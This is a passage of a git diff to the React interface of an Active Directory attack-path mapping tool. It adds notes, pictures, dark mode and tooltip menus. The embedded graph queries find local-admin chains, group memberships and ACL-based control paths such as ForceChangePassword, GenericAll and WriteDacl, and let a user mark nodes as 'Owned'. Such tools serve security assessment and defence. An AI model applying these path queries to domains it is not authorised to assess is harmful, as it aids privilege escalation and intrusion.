+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `user_${this.state.label}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
+    }
+
+    getNodeData(payload) {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
+        $.each(this.state.driversessions, function(index, record) {
             record.close();
         });
 
@@ -35,87 +153,296 @@ export default class UserNodeData extends Component {
             driversessions: []
         });
 
+        let key = `user_${this.state.label}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
         var props = driver.session();
-        props.run("MATCH (n:User {name:{name}}) RETURN n", {name: payload})
-            .then(function(result){
-                var properties = result.records[0]._fields[0].properties;
-                if (typeof properties.ServicePrincipalNames === 'undefined'){
-                    this.setState({ServicePrincipalNames: []});
-                }else{
-                    this.setState({ ServicePrincipalNames: properties.ServicePrincipalNames });
+        props
+            .run("MATCH (n:User {name:{name}}) RETURN n", { name: payload })
+            .then(
+                result => {
+                    var properties = result.records[0]._fields[0].properties;
+                    let spn;
+                    if (!properties.serviceprincipalnames){
+                        spn = [];
+                    }else{
+                        spn = properties.serviceprincipalnames;
+                    }
+                    let notes;
+                    if (!properties.notes){
+                        notes = null;
+                    }else{
+                        notes = properties.notes;
+                    }
+
+                    let del;
+                    if (!properties.allowedtodelegate){
+                        del = []
+                    }else{
+                        del = properties.allowedtodelegate;
+                    }
+                    this.setState({
+                        ServicePrincipalNames:spn,
+                        AllowedToDelegate: del,
+                        propertyMap: properties,
+                        notes: notes
+                    });
+                
+                    props.close();
                 }
-                this.setState({propertyMap: properties});
-                props.close();
-            }.bind(this));
-        this.setState({driversessions:[props]});
+            );
+        this.setState({ driversessions: [props] });
+    }
+
+    notesChanged(event){
+        this.setState({notes: event.target.value})
+    }
+
+    notesBlur(event){
+        let notes = this.state.notes === null || this.state.notes === "" ? null : this.state.notes;
+        let q = driver.session();
+        if (notes === null){
+            q.run("MATCH (n:User {name:{name}}) REMOVE n.notes", {name: this.state.label}).then(x => {
+                q.close();
+            });
+        }else{
+            q.run("MATCH (n:User {name:{name}}) SET n.notes = {notes}", {name: this.state.label, notes: this.state.notes}).then(x =>{
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
     }
 
     render() {
-        var domain = '@' + this.state.label.split('@').last();
+        var domain = "@" + this.state.label.split("@").last();
+
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
+
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
-                    <h4>
-                        User Info
-                    </h4>
-                    <dt>
-                        Name
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <NodeProps properties={this.state.propertyMap} displayMap={this.state.displayMap} ServicePrincipalNames={this.state.ServicePrincipalNames} />
-                    
+                <dl className="dl-horizontal">
+                    <h4>User Info</h4>
+                    <dt>Name</dt>
+                    <dd>{this.state.label}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={this.state.ServicePrincipalNames}
+                        AllowedToDelegate={this.state.AllowedToDelegate}
+                    />
 
-                    <NodeCypherLink property="Sessions" target={this.state.label} baseQuery={"MATCH p=(m:Computer)-[r:HasSession]->(n:User {name:{name}})"} end={this.state.label} />
+                    <NodeCypherLink
+                        property="Sessions"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:Computer)-[r:HasSession]->(n:User {name:{name}})"
+                        }
+                        end={this.state.label}
+                    />
 
-                    <NodeCypherLinkComplex property="Sibling Objects in the Same OU" target={this.state.label} countQuery={"MATCH (o1)-[r1:Contains]->(o2:User {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN count(distinct(n))"} graphQuery={"MATCH (o1)-[r1:Contains]->(o2:User {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN p1,p2"} />
+                    <NodeCypherLinkComplex
+                        property="Sibling Objects in the Same OU"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (o1)-[r1:Contains]->(o2:User {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN count(distinct(n))"
+                        }
+                        graphQuery={
+                            "MATCH (o1)-[r1:Contains]->(o2:User {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN p1,p2"
+                        }
+                    />
 
-                    <NodeCypherLinkComplex property="Effective Inbound GPOs" target={this.state.label} countQuery={"MATCH (c:User {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksInheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN count(g1)+count(g2)"} graphQuery={"MATCH (c:User {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksInheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN p1,p2"} />
+                    <NodeCypherLinkComplex
+                        property="Effective Inbound GPOs"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (c:User {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksinheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN count(g1)+count(g2)"
+                        }
+                        graphQuery={
+                            "MATCH (c:User {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksinheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN p1,p2"
+                        }
+                    />
+
+                    <NodeCypherNoNumberLink
+                        target={this.state.label}
+                        property="See User within Domain/OU Tree"
+                        query="MATCH p = (d:Domain)-[r:Contains*1..]->(u:User {name:{name}}) RETURN p"
+                    />
 
-                    <NodeCypherNoNumberLink target={this.state.label} property="See User within Domain/OU Tree" query="MATCH p = (d:Domain)-[r:Contains*1..]->(u:User {name:{name}}) RETURN p" />
-                    
                     <h4>Group Membership</h4>
-                    
-                    <NodeCypherLink property="First Degree Group Memberships" target={this.state.label} baseQuery={"MATCH (m:User {name:{name}}), (n:Group), p=(m)-[:MemberOf]->(n)"} start={this.state.label} />
-                    
-                    <NodeCypherLink property="Unrolled Group Membership" target={this.state.label} baseQuery={"MATCH p = (m:User {name:{name}})-[r:MemberOf*1..]->(n:Group)"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Foreign Group Membership" target={this.state.label} baseQuery={"MATCH (n:Group) WHERE NOT n.name ENDS WITH {domain} WITH n MATCH (m:User {name:{name}}) WITH n,m MATCH p=(m)-[r:MemberOf*1..]->(n)"} start={this.state.label} />
-                    
-                    <h4>
-                        Local Admin Rights
-                    </h4>
 
-                    <NodeCypherLink property="First Degree Local Admin" target={this.state.label} baseQuery={"MATCH p=(m:User {name:{name}})-[r:AdminTo]->(n:Computer)"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="First Degree Group Memberships"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (m:User {name:{name}}), (n:Group), p=(m)-[:MemberOf]->(n)"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLink property="Group Delegated Local Admin Rights" target={this.state.label} baseQuery={"MATCH p=(m:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer)"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Unrolled Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (m:User {name:{name}})-[r:MemberOf*1..]->(n:Group)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Derivative Local Admin Rights" target={this.state.label} baseQuery={"MATCH p=shortestPath((m:User {name:{name}})-[r:HasSession|AdminTo|MemberOf*1..]->(n:Computer))"} start={this.state.label} distinct />
-                    
-                    <h4>
-                        Outbound Object Control
-                    </h4>
+                    <NodeCypherLink
+                        property="Foreign Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n:Group) WHERE NOT n.name ENDS WITH {domain} WITH n MATCH (m:User {name:{name}}) WITH n,m MATCH p=(m)-[r:MemberOf*1..]->(n)"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLink property="First Degree Object Control" target={this.state.label} baseQuery={"MATCH p=(u:User {name:{name}})-[r1]->(n) WHERE r1.isACL=true"} end={this.state.label} distinct />
+                    <h4>Local Admin Rights</h4>
+
+                    <NodeCypherLink
+                        property="First Degree Local Admin"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:User {name:{name}})-[r:AdminTo]->(n:Computer)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Group Delegated Local Admin Rights"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Derivative Local Admin Rights"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=shortestPath((m:User {name:{name}})-[r:HasSession|AdminTo|MemberOf*1..]->(n:Computer))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <h4>Outbound Object Control</h4>
+
+                    <NodeCypherLink
+                        property="First Degree Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(u:User {name:{name}})-[r1]->(n) WHERE r1.isacl=true"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Group Delegated Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(u:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2]->(n) WHERE r2.isacl=true"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Transitive Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p=shortestPath((u:User {name:{name}})-[r1:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Group Delegated Object Control" target={this.state.label} baseQuery={"MATCH p=(u:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2]->(n) WHERE r2.isACL=true"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Transitive Object Control" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p=shortestPath((u:User {name:{name}})-[r1:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"} start={this.state.label} distinct />
-                    
                     <h4>Inbound Object Control</h4>
 
-                    <NodeCypherLink property="Explicit Object Controllers" target={this.state.label} baseQuery={"MATCH p=(n)-[r]->(u1:User {name: {name}}) WHERE r.isACL=true"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Explicit Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[r]->(u1:User {name: {name}}) WHERE r.isacl=true"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Unrolled Object Controllers" target={this.state.label} baseQuery={"MATCH p=(n)-[r:MemberOf*1..]->(g:Group)-[r1:AddMember|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(u:User {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = u.name) AND NOT n.name = u.name"} end={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Transitive Object Controllers" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r1:MemberOf|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(u1:User {name: {name}}))"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Unrolled Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[r:MemberOf*1..]->(g:Group)-[r1:AddMember|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(u:User {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = u.name) AND NOT n.name = u.name"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Transitive Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r1:MemberOf|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(u1:User {name: {name}}))"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea onBlur={this.notesBlur.bind(this)} onChange={this.notesChanged.bind(this)} value={this.state.notes === null ? "" : this.state.notes} className={"node-notes-textarea"} ref="notes" />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
 }
 
 UserNodeData.propTypes = {
-    visible : PropTypes.bool.isRequired
+    visible: PropTypes.bool.isRequired
 };
diff --git a/src/components/Spotlight/SpotlightContainer.jsx b/src/components/Spotlight/SpotlightContainer.jsx
index f8b6898..2c87a10 100644
--- a/src/components/Spotlight/SpotlightContainer.jsx
+++ b/src/components/Spotlight/SpotlightContainer.jsx
@@ -1,51 +1,69 @@
-import React, { Component } from 'react';
-import GlyphiconSpan from '../GlyphiconSpan';
-import Icon from '../Icon';
-import SpotlightRow from './SpotlightRow';
+import React, { Component } from "react";
+import GlyphiconSpan from "../GlyphiconSpan";
+import Icon from "../Icon";
+import SpotlightRow from "./SpotlightRow";
 
 export default class SpotlightContainer extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
-        
+
         this.state = {
             data: appStore.spotlightData,
             searchVal: "",
-            rex: new RegExp("", 'i')
+            rex: new RegExp("", "i")
         };
 
-        emitter.on('spotlightUpdate', function(){
-            this.setState({data: appStore.spotlightData});
-        }.bind(this));
+        emitter.on(
+            "spotlightUpdate",
+            function() {
+                this.setState({ data: appStore.spotlightData });
+            }.bind(this)
+        );
 
-        emitter.on('spotlightClick', function(){
-            $(this.refs.spotlight).fadeToggle(false);
-        }.bind(this));
+        emitter.on(
+            "spotlightClick",
+            function() {
+                $(this.refs.spotlight).fadeToggle(false);
+            }.bind(this)
+        );
 
-        emitter.on('resetSpotlight', function(){
-            this.setState({
-                searchVal: "",
-                rex: new RegExp("", 'i')
-            });
-
-        }.bind(this));
+        emitter.on(
+            "resetSpotlight",
+            function() {
+                this.setState({
+                    searchVal: "",
+                    rex: new RegExp("", "i")
+                });
+            }.bind(this)
+        );
     }
 
-    _searchChanged(event){
+    _searchChanged(event) {
         this.setState({
             searchVal: event.target.value,
-            rex: new RegExp(event.target.value, 'i')
+            rex: new RegExp(event.target.value, "i")
         });
     }
 
     render() {
-
         return (
             <div ref="spotlight" className="spotlight">
                 <div className="input-group input-group-unstyled no-border-radius">
-                    <GlyphiconSpan tooltip={false} classes="input-group-addon spanfix">
+                    <GlyphiconSpan
+                        tooltip={false}
+                        classes="input-group-addon spanfix"
+                    >
                         <Icon glyph="search" />
                     </GlyphiconSpan>
-                    <input onChange={this._searchChanged.bind(this)} value={this.state.searchVal} type="search" className="form-control searchbox" autoComplete="off" placeholder="Explore Nodes" data-type="search" />
+                    <input
+                        onChange={this._searchChanged.bind(this)}
+                        value={this.state.searchVal}
+                        type="search"
+                        className="form-control searchbox"
+                        autoComplete="off"
+                        placeholder="Explore Nodes"
+                        data-type="search"
+                    />
                 </div>
 
                 <div className="spotlight-nodelist">
@@ -57,12 +75,24 @@ export default class SpotlightContainer extends Component {
                             </tr>
                         </thead>
                         <tbody ref="spotlight-tbody" className="searchable">
-                            {Object.keys(this.state.data).map(function(key){
-                                var d = this.state.data[key];
-                                var nid = parseInt(key);
-                                var x = this.state.rex.test(d[0]) ? <SpotlightRow key={key} nodeId={nid} parentNodeId={d[1]} nodeLabel={d[0]} parentNodeLabel={d[2]} nodeType={d[3]} parentNodeType={d[4]} /> : null;
-                                return x;
-                            }.bind(this))}
+                            {Object.keys(this.state.data).map(
+                                function(key) {
+                                    var d = this.state.data[key];
+                                    var nid = parseInt(key);
+                                    var x = this.state.rex.test(d[0]) ? (
+                                        <SpotlightRow
+                                            key={key}
+                                            nodeId={nid}
+                                            parentNodeId={d[1]}
+                                            nodeLabel={d[0]}
+                                            parentNodeLabel={d[2]}
+                                            nodeType={d[3]}
+                                            parentNodeType={d[4]}
+                                        />
+                                    ) : null;
+                                    return x;
+                                }.bind(this)
+                            )}
                         </tbody>
                     </table>
                 </div>
@@ -73,12 +103,15 @@ export default class SpotlightContainer extends Component {
     componentDidMount() {
         jQuery(this.refs.spotlight).fadeToggle(0);
 
-        $(window).on('keyup', function(e){
-            var key = e.keyCode ? e.keyCode : e.which;
+        $(window).on(
+            "keyup",
+            function(e) {
+                var key = e.keyCode ? e.keyCode : e.which;
 
-            if (document.activeElement === document.body && key === 32){
-                $(this.refs.spotlight).fadeToggle();
-            }
-        }.bind(this));
+                if (document.activeElement === document.body && key === 32) {
+                    $(this.refs.spotlight).fadeToggle();
+                }
+            }.bind(this)
+        );
     }
 }
diff --git a/src/components/Spotlight/SpotlightRow.jsx b/src/components/Spotlight/SpotlightRow.jsx
index 3d37b49..181cdb3 100644
--- a/src/components/Spotlight/SpotlightRow.jsx
+++ b/src/components/Spotlight/SpotlightRow.jsx
@@ -1,15 +1,19 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
 
 export default class SpotlightRow extends Component {
-    _handleClick(){
-        emitter.emit('spotlightClick', this.props.nodeId, this.props.parentNodeId);
+    _handleClick() {
+        emitter.emit(
+            "spotlightClick",
+            this.props.nodeId,
+            this.props.parentNodeId
+        );
     }
 
     render() {
         var nodeIcon = "";
         var parentIcon = "";
-        switch (this.props.nodeType){
+        switch (this.props.nodeType) {
             case "Group":
                 nodeIcon = "fa fa-users";
                 break;
@@ -33,7 +37,7 @@ export default class SpotlightRow extends Component {
                 break;
         }
 
-        switch (this.props.parentNodeType){
+        switch (this.props.parentNodeType) {
             case "Group":
                 parentIcon = "fa fa-users";
                 break;
@@ -57,19 +61,28 @@ export default class SpotlightRow extends Component {
                 break;
         }
         return (
-            <tr style={{cursor: 'pointer'}} onClick={this._handleClick.bind(this)} data-id={this.props.nodeId} data-parent-id={this.props.parentNodeId}>
-                <td>{this.props.nodeLabel} <i className={nodeIcon}></i></td>
-                <td>{this.props.parentNodeLabel} <i className={parentIcon}></i></td>
+            <tr
+                style={{ cursor: "pointer" }}
+                onClick={this._handleClick.bind(this)}
+                data-id={this.props.nodeId}
+                data-parent-id={this.props.parentNodeId}
+            >
+                <td>
+                    {this.props.nodeLabel} <i className={nodeIcon} />
+                </td>
+                <td>
+                    {this.props.parentNodeLabel} <i className={parentIcon} />
+                </td>
             </tr>
         );
     }
 }
 
 SpotlightRow.propTypes = {
-    nodeId : PropTypes.number.isRequired,
-    parentNodeId : PropTypes.number.isRequired,
-    nodeLabel : PropTypes.string.isRequired,
-    parentNodeLabel : PropTypes.string.isRequired,
+    nodeId: PropTypes.number.isRequired,
+    parentNodeId: PropTypes.number.isRequired,
+    nodeLabel: PropTypes.string.isRequired,
+    parentNodeLabel: PropTypes.string.isRequired,
     nodeType: PropTypes.string.isRequired,
     parentNodeType: PropTypes.string.isRequired
-};
\ No newline at end of file
+};
diff --git a/src/components/Zoom/ZoomContainer.jsx b/src/components/Zoom/ZoomContainer.jsx
index 660278f..28f0120 100644
--- a/src/components/Zoom/ZoomContainer.jsx
+++ b/src/components/Zoom/ZoomContainer.jsx
@@ -1,31 +1,57 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class ZoomContainer extends Component {
-	render() {
-		return (
-			<div className="zoomBox">
-			<div>
-				<button onClick={function(){
-					emitter.emit('zoomIn')
-				}} className="btn zoomIn">
-					<span className="fa fa-plus"></span>
-				</button>
-			</div>
-			<div>
-				<button onClick={function(){
-					emitter.emit('resetZoom')
-				}} className="btn">
-					<span className="fa fa-ban" style={{width: 11}}></span>
-				</button>
-			</div>
-			<div>
-				<button onClick={function(){
-					emitter.emit('zoomOut')
-				}} className="btn zoomOut">
-					<span className="fa fa-minus"></span>
-				</button>
-			</div>
-		</div>
-		);
-	}
+    constructor(){
+        super();
+
+        this.state = {
+            darkMode: false
+        }
+    }
+
+    componentDidMount(){
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this));
+        this.toggleDarkMode(appStore.performance.darkMode);
+    }
+
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+    }
+
+    render() {
+        return (
+            <div className="zoomBox">
+                <div>
+                    <button
+                        onClick={function() {
+                            emitter.emit("zoomIn");
+                        }}
+                        className={this.state.darkMode ? "btn zoomIn menu-button-dark" : "btn zoomIn menu-button-light"}
+                    >
+                        <span className="fa fa-plus" />
+                    </button>
+                </div>
+                <div>
+                    <button
+                        onClick={function() {
+                            emitter.emit("resetZoom");
+                        }}
+                        className={this.state.darkMode ? "btn menu-button-dark" : "btn menu-button-light"}
+                    >
+                        <span className="fa fa-ban" style={{ width: 11 }} />
+                    </button>
+                </div>
+                <div>
+                    <button
+                        onClick={function() {
+                            emitter.emit("zoomOut");
+                        }}
+                        className={this.state.darkMode ? "btn zoomOut menu-button-dark" : "btn zoomOut menu-button-light"}
+                    >
+                        <span className="fa fa-minus" />
+                    </button>
+                </div>
+            </div>
+        );
+    }
 }
diff --git a/src/components/edgeTooltip.html b/src/components/edgeTooltip.html
new file mode 100644
index 0000000..142c73c
--- /dev/null
+++ b/src/components/edgeTooltip.html
@@ -0,0 +1,11 @@
+<div class="header">
+    {{label}}
+</div>
+<ul class="tooltip-ul">
+    <li onclick="emitter.emit('getHelp', '{{id}}')">
+        <i class="fa fa-question"></i> Help
+    </li>
+    <li onclick="emitter.emit('deleteEdge', '{{id}}')">
+        <i class="fa fa-trash"></i> Delete Edge
+    </li>
+</ul>
\ No newline at end of file
diff --git a/src/components/nodeTooltip.html b/src/components/nodeTooltip.html
new file mode 100644
index 0000000..80fbeeb
--- /dev/null
+++ b/src/components/nodeTooltip.html
@@ -0,0 +1,92 @@
+<div class="header">
+    {{label}}
+</div>
+<ul class="tooltip-ul">
+    {{#type_ou}}
+    <li onclick="emitter.emit('setStart', '{{type}}:{{guid}}')">
+        <i class="fa fa-map-marker-alt"></i> Set as Starting Node
+    </li>
+    <li onclick="emitter.emit('setEnd', '{{type}}:{{guid}}')">
+        <i class="fa fa-bullseye"> </i> Set as Ending Node
+    </li>
+    {{/type_ou}}
+    {{^type_ou}}
+    <li onclick="emitter.emit('setStart', '{{type}}:{{label}}')">
+        <i class="fa fa-map-marker-alt"></i> Set as Starting Node
+    </li>
+    <li onclick="emitter.emit('setEnd', '{{type}}:{{label}}')">
+        <i class="fa fa-bullseye"> </i> Set as Ending Node
+    </li>
+    {{/type_ou}}
+    {{#type_user}}
+    <li onclick="emitter.emit('query', 'MATCH (n:User {name:{name}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {name: '{{label}}'}, '{{label}}')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_user}} {{#type_computer}}
+    <li onclick="emitter.emit('query', 'MATCH (n:Computer {name:{name}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {name: '{{label}}'}, '{{label}}')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_computer}} {{#type_group}}
+    <li onclick="emitter.emit('query', 'MATCH (n:Group {name:{name}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {name: '{{label}}'}, '{{label}}')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_group}} {{#type_gpo}}
+    <li onclick="emitter.emit('query', 'MATCH (n:GPO {name:{name}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {name: '{{label}}'}, '{{label}}')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_gpo}} {{#type_ou}}
+    <li onclick="emitter.emit('query', 'MATCH (n:OU {guid:{guid}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {guid: '{{guid}}'}, '{{label}}')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_ou}} {{#type_domain}}
+    <li onclick="emitter.emit('query', 'MATCH (n:Domain {name:{name}}),(m),p=shortestPath((m)-[r:{}*1..]->(n)) WHERE NOT m=n RETURN p', {name: '{{label}}'}, '{{label}} ')">
+        <i class="fa fa-random"> </i> Shortest Paths to Here
+    </li>
+    {{/type_domain}}
+    {{#type_ou}}
+    <li onclick="emitter.emit('editnode', '{{guid}}', '{{type}}')">
+        <i class="fa fa-edit"> </i> Edit Node
+    </li>
+    {{/type_ou}}
+    {{^type_ou}}
+    <li onclick="emitter.emit('editnode', '{{label}}', '{{type}}')">
+        <i class="fa fa-edit"> </i> Edit Node
+    </li>
+    {{/type_ou}}
+    {{#owned}}
+    <li onclick="emitter.emit('setOwned', '{{id}}', false)">
+        <i class="fa fa-exclamation"> </i> Unmark {{type}} as Owned
+    </li>
+    {{/owned}}
+    {{#notowned}}
+    <li onclick="emitter.emit('setOwned', '{{id}}', true)">
+        <i class="fa fa-exclamation"> </i> Mark {{type}} as Owned
+    </li>
+    {{/notowned}}
+    {{#highvalue}}
+    <li onclick="emitter.emit('setHighVal', '{{id}}', false)">
+        <i class="fa fa-gem"> </i> Unmark {{type}} as High Value
+    </li>
+    {{/highvalue}}
+    {{^highvalue}}
+    <li onclick="emitter.emit('setHighVal', '{{id}}', true)">
+        <i class="fa fa-gem"> </i> Mark {{type}} as High Value
+    </li>
+    {{/highvalue}}
+    <li onclick="emitter.emit('deletenode', '{{id}}')">
+        <i class="fa fa-trash"> </i> Delete Node
+    </li>
+    {{#expand}}
+    <li onclick="emitter.emit('unfoldNode', {{id}}); appStore.currentTooltip.close()">
+        <i class="fa fa-object-ungroup"> </i> Expand
+    </li>
+    {{/expand}} {{#collapse}}
+    <li onclick="emitter.emit('collapseNode', {{id}}); appStore.currentTooltip.close()">
+        <i class="fa fa-object-group"> </i> Collapse
+    </li>
+    {{/collapse}} {{#groupedNode}}
